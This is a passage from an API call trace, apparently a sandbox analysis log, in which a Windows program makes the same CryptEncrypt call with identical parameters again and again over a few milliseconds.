Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.503] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.503] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.503] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.503] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.503] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.503] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.503] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.503] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.503] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.503] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.504] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.504] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.504] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.504] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.504] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.504] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.504] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.504] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.504] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.504] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.504] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.504] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.504] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.504] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.504] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.504] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.504] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.504] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.505] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.505] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.505] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.505] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.505] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.505] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.505] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.505] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.505] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.505] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.505] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.505] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.505] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.505] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.505] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.505] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.505] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.505] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.505] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.506] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.506] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.506] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.506] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.506] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.506] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.506] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.506] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.506] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.506] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.506] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.506] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.506] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.506] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.506] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.506] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.506] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.506] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.507] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.508] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.509] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10, dwBufLen=0x10 | out: pbData=0x3e0cd2c*, pdwDataLen=0x3e0cd40*=0x10) returned 1 [0160.509] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, 